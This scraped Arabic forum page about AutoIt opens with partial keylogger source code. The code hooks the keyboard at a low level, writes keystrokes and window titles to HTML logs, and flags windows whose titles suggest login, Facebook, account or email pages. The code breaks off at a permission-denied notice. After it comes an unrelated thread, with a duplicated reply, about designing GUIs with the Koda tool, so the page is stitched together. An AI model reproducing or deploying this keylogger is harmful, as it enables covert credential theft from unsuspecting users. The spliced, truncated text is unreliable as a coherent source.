Mr.PyThoN
زيزوومي جديد
غير متصل
قم بمتابعة الفيديو أدناه لمعرفة كيفية تثبيت موقعنا كتطبيق ويب على الشاشة الرئيسية.
ملاحظة: قد لا تكون هذه الميزة متاحة في بعض المتصفحات.
#AutoIt3Wrapper_Change2CUI=y
#AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6
;~ #AutoIt3Wrapper_Run_Obfuscator=y
;~ #Obfuscator_Parameters=/om
;~ #Obfuscator_Parameters=/so
#include <File.au3>
#include<winapi.au3>
#include<process.au3>
;#include'Splash.au3'
Opt("MustDeclareVars", 1)
OnAutoItExitRegister("ONAUTOITEXIT")
Global $HHOOK, $HSTUB_KEYPROC, $BUFFER = "", $Log, _
$CAPS, $NLOCK, $SHIFT = False, $Style, $DATA, _
$TO = WinGetTitle(""), $T = $TO, $HOST = _ProcessGetName(WinGetProcess(""))
_MAIN()
Func _MAIN()
;_SplashScreen("Testing Version", "Key Logger", "test0", "test1", 3, 400, 200, 0xff240d)
Local $HMOD, $_RET = DllCall("user32.dll", "long", "GetKeyState", "long", 20), $RET = DllCall("user32.dll", "long", "GetKeyState", "long", 144), _
$Time = 0, $HSTUB_KEYPROC = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$HMOD = _WinAPI_GetModuleHandle(0)
$HHOOK = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($HSTUB_KEYPROC), $HMOD)
$NLOCK = $RET[0]
$CAPS = $_RET[0]
_DirectorySet()
$Log = @ScriptDir & '\KeyLogs\KeyData-('&@WDAY&")"&@HOUR&"-"&@MIN&"-"&@SEC&'.html'
Local $F = FileOpen($Log, 2)
if @error Then MsgBox(0,"","")
FileWrite($F, _HTML(1))
FileClose($F)
#Region -MainLoop-
While Sleep(1000)
If ($Time > 300) Then Exit ; Timer
$Time += 1
$T = WinGetTitle("")
If Not StringCompare($T, $TO) = 0 Then
If _AddData() = 1 Then
$TO = $T
$BUFFER = ""
$HOST = _ProcessGetName(WinGetProcess($T))
EndIf
EndIf
WEnd
#EndRegion -MainLoop-
Return 1
EndFunc ;==>_MAIN
Func _AddData(); this function needs improvements
If $BUFFER = "" Or StringLen($BUFFER) < 6 Then Return 0
Local $F = FileOpen($Log, 1)
#Region -HTML HIGHLIGHTS
If StringInStr($TO, "Log In") Then
$Style = "RED"
ElseIf StringInStr($TO, "FaceBook") Then
$Style = "BLUE"
ElseIf StringInStr($TO, "Accounts") Then
$Style = "YELLOW"
ElseIf StringInStr($TO, "email") Or StringInStr($TO, "e-mail") Or StringInStr($TO, "e mail") Then
$Style = "PINK"
Else
$Style = "SILVER"
EndIf
#EndRegion -HTML HIGHLIGHTS
FileWrite($F, _HTML(2))
FileClose($F)
;MsgBox(0,"","")
Return 1
EndFunc ;==>_AddData
#Region -HTML-
.: Mr.Ali :., لا تملك تصريح بدخول هذه الصفحة. قد يكون هذا أحد الأسباب التالية وربما بسبب آخر:
- حسابك قد لا يكون فيه إمتيازات كافية لدخول هذه الصفحة. هل تحاول تعديل رسالة عضو آخر, دخول ميزات إدارية أو نظام متميز آخر؟
- إذا كنت تحاول المشاركة, ربما قامت الإدارة بحظر حسابك, أو لا يزال حسابك بإنتظار موافقة الإدارة.
:i:
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
والله سؤال يدور في بالي منذ أن عرفت ماهو الـ Autoit
ولاكن لم يشأ الله أن أسئل السؤال في يومه...
سؤالي اليوم هو عن تصميم واجهة رسومية للتطبيقات...
عندي البرنامج محمله من الدوره هُنا + برنامج Koda
فماهو الشيء الذي ينقصني لأجل تصميم الواجهه
أريد شرح أدخال كود على زرمن خلال برنامج Koda
مثلاً هذه الرسالة
كود:msgbox(0, "", "Welcome")
عندما يضغط على الزر تطلع له الرسالة
هذا هو المطلوب وبس
:b:
موضوع في الصميمسلام عليكم لي فتره طويلة عن الاتوات وعن موضوعها :d:
المهم سابقاً قلت هذا الكلام وراح أعيده ..
أنا شايف من الخطأ الدخول لل GUI عن طريق أداه KODA مباشره ..
بداية إبدأ مع الكود عشان تعرف هذي كيف جت أو ليه وضعت الكود بالشكل ذا
فكر في البداية كيف أنشيء النافذة .. كيف أضيف العناصر لها
و كيف أتفاعل معها ..
في الاتوات بالتحديد كل شي يتم عن طريق الدوال فلو غيرنا الاسئلة اللي فوق بالشكل التالي
ماهي دالة إنشاء النافذة .. ماهي دوال الادوات اللي تضاف للنافذة ماهي الطريقة والدوال اللي تساعدني
في التفاعل مع النافذة
لو بدأت بهذا الشيء راح تتعلم أسرع وأوضح للفهم لك ,
أداه KODA أستخدمها فقط لسرعه الانجاز .. أما أداه تولد لي كود ما أدري وش سالفته هذا خطأ ..
أتمنى للجميع التوفيق
موضوع في الصميم
ما بالك بمن لا يعرف كيف تتم كتابة الأكواد في الاوتوات ...:i:
برنامج Koda يساعد المبتدئين كثير ,, ولا ننسى النضر في الدوال الناتجة من الأدة > تصميم الواجهه
حتى نعرف أكثر وأكثر " تحليل ذهني "
هل توافقني الرأي...!؟
طيب ممكن تعطينا مثال لكيفية تصميم واجهه من خلال الدوال " للتوضيح "
إذا لا يعرف لا يبدأ مباشره مع الGUI .. لا يتسعجل على روحه ..
إذا كتبت الكود بنفسك راح يكون قليل الاكواد فيه وواضح بالنسبه لك
مع الوقت لو إستخدمت Koda لواجهه عناصرها كثير ماراح يصعب عليك التعديل على العناصر أو الاضافه عليها
سلام عليكم لي فتره طويلة عن الاتوات وعن موضوعها :d:
المهم سابقاً قلت هذا الكلام وراح أعيده ..
أنا شايف من الخطأ الدخول لل GUI عن طريق أداه KODA مباشره ..
بداية إبدأ مع الكود عشان تعرف هذي كيف جت أو ليه وضعت الكود بالشكل ذا
فكر في البداية كيف أنشيء النافذة .. كيف أضيف العناصر لها
و كيف أتفاعل معها ..
في الاتوات بالتحديد كل شي يتم عن طريق الدوال فلو غيرنا الاسئلة اللي فوق بالشكل التالي
ماهي دالة إنشاء النافذة .. ماهي دوال الادوات اللي تضاف للنافذة ماهي الطريقة والدوال اللي تساعدني
في التفاعل مع النافذة
لو بدأت بهذا الشيء راح تتعلم أسرع وأوضح للفهم لك ,
أداه KODA أستخدمها فقط لسرعه الانجاز .. أما أداه تولد لي كود ما أدري وش سالفته هذا خطأ ..
أتمنى للجميع التوفيق